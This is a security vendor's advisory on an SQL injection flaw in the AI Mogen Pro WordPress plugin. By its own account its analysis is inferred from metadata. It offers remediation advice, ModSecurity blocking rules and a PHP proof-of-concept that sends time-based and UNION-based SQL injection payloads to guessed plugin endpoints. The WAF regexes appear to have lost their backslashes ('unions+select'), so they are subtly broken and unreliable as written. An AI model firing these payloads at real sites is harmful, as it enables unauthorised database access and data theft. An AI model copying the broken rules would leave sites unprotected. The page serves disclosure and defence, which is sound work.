Atomic Edge analysis of CVE-2026-4038 (metadata-based):
This vulnerability is a critical security flaw in the AI Mogen Pro WordPress plugin. The plugin contains an unauthenticated SQL injection vulnerability that allows remote attackers to execute arbitrary SQL commands against the site’s database. The vulnerability resides in a plugin endpoint that fails to properly sanitize user-supplied input before using it in SQL queries.
Atomic Edge research infers the root cause from the CWE classification and vulnerability description. The plugin likely uses user-controlled parameters directly in SQL statements without proper escaping or parameterization. This indicates a failure to use prepared statements via the WordPress $wpdb class. The vulnerable code path is probably an AJAX handler or REST API endpoint that accepts user input for database operations. These conclusions are inferred from the CVE description and common WordPress plugin patterns, not confirmed through code review.
Exploitation occurs through HTTP requests to vulnerable plugin endpoints. Attackers send crafted SQL injection payloads via GET or POST parameters. The most likely attack vector is the WordPress AJAX handler at /wp-admin/admin-ajax.php with an action parameter containing ‘aimogen_pro’ or similar plugin-specific prefix. Alternative vectors include REST API endpoints at /wp-json/aimogen-pro/v1/ or direct PHP file access. Attackers use standard SQL injection techniques like UNION-based queries, Boolean-based blind SQLi, or time-based payloads to extract database information.
Remediation requires implementing proper input validation and SQL query sanitization. The plugin developers must use WordPress $wpdb->prepare() for all SQL queries with user-supplied data. They should also add proper capability checks to restrict endpoint access to authorized users. Nonce verification should be implemented for all AJAX handlers. The fix must ensure all database queries use parameterized statements rather than string concatenation with user input.
Successful exploitation enables complete database compromise. Attackers can read, modify, or delete any data in the WordPress database. This includes sensitive user information like passwords (hashed), email addresses, and personal data. Attackers can create administrative accounts, manipulate plugin settings, or extract authentication credentials. In some configurations, SQL injection may lead to remote code execution through file writing or database function abuse.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4038 (metadata-based)
# This rule blocks SQL injection attempts targeting AI Mogen Pro plugin endpoints
# The rule matches both AJAX handlers and REST API endpoints with SQL injection patterns
# Rule 1: Block SQL injection via AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20264038,phase:2,deny,status:403,chain,msg:'CVE-2026-4038: AI Mogen Pro SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-4038',tag:'WordPress',tag:'Plugin',tag:'AI-Mogen-Pro'"
SecRule ARGS_POST:action "@rx ^aimogen_pro" "chain"
SecRule ARGS "@rx (?i:(unions+select|sleeps*(|benchmarks*(|pg_sleeps*(|waitfors+delay|selects+.*from|inserts+into|updates+.*set|deletes+from|drops+table|creates+table|execs*(|xp_cmdshell))"
"setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
# Rule 2: Block SQL injection via REST API endpoints
SecRule REQUEST_URI "@beginsWith /wp-json/aimogen"
"id:20264038-2,phase:2,deny,status:403,chain,msg:'CVE-2026-4038: AI Mogen Pro SQL Injection via REST API',severity:'CRITICAL',tag:'CVE-2026-4038',tag:'WordPress',tag:'Plugin',tag:'AI-Mogen-Pro'"
SecRule ARGS_GET|ARGS_POST "@rx (?i:(unions+select|sleeps*(|benchmarks*(|pg_sleeps*(|waitfors+delay|selects+.*from|inserts+into|updates+.*set|deletes+from|drops+table|creates+table|execs*(|xp_cmdshell))"
"setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
# Rule 3: Block direct file access with SQL injection parameters
SecRule REQUEST_URI "@rx /wp-content/plugins/aimogen-pro/.*.php"
"id:20264038-3,phase:2,deny,status:403,chain,msg:'CVE-2026-4038: AI Mogen Pro SQL Injection via direct file access',severity:'CRITICAL',tag:'CVE-2026-4038',tag:'WordPress',tag:'Plugin',tag:'AI-Mogen-Pro'"
SecRule ARGS "@rx (?i:(unions+select|sleeps*(|benchmarks*(|pg_sleeps*(|waitfors+delay|selects+.*from|inserts+into|updates+.*set|deletes+from|drops+table|creates+table|execs*(|xp_cmdshell))"
"setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4038 - AI Mogen Pro WordPress Plugin SQL Injection
<?php
/**
* Proof of Concept for CVE-2026-4038
* Assumptions based on WordPress plugin patterns:
* 1. Plugin uses AJAX handler at admin-ajax.php
* 2. Action parameter contains 'aimogen_pro' prefix
* 3. SQL injection exists in a parameter named 'id' or similar
* 4. No authentication or nonce verification required
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
// Common AJAX action names for AI Mogen Pro plugin
$possible_actions = [
'aimogen_pro_action',
'aimogen_pro_ajax',
'aimogen_pro_query',
'aimogen_pro_get_data',
'aimogen_pro_save',
'aimogen_pro_load'
];
// SQL injection payload to test for vulnerability
// Time-based blind SQL injection payload for MySQL
$sql_payload = "1' AND SLEEP(5) AND '1'='1";
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
'id' => $sql_payload,
'nonce' => '' // Often missing in vulnerable implementations
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$execution_time = $end_time - $start_time;
if ($execution_time > 5) {
echo "[+] Potential SQL Injection found with action: $actionn";
echo " Response time: {$execution_time}sn";
echo " Payload used: {$sql_payload}n";
break;
}
curl_close($ch);
}
// Alternative: Test UNION-based SQL injection if time-based doesn't work
// This payload attempts to extract database version
$union_payload = "1' UNION SELECT @@version,2,3-- ";
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
'id' => $union_payload
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (strpos($response, 'MariaDB') !== false || strpos($response, 'MySQL') !== false) {
echo "[+] UNION-based SQL Injection confirmed with action: $actionn";
echo " Database version leaked in responsen";
break;
}
curl_close($ch);
}
// Test REST API endpoint if AJAX handler not vulnerable
$rest_endpoints = [
'/wp-json/aimogen-pro/v1/query',
'/wp-json/aimogen-pro/v1/data',
'/wp-json/aimogen/v1/get',
'/wp-json/aimogen/v1/query'
];
foreach ($rest_endpoints as $endpoint) {
$test_url = 'http://target-site.com' . $endpoint . '?id=' . urlencode($sql_payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $test_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
if (($end_time - $start_time) > 5) {
echo "[+] SQL Injection via REST API: $endpointn";
break;
}
curl_close($ch);
}
?>
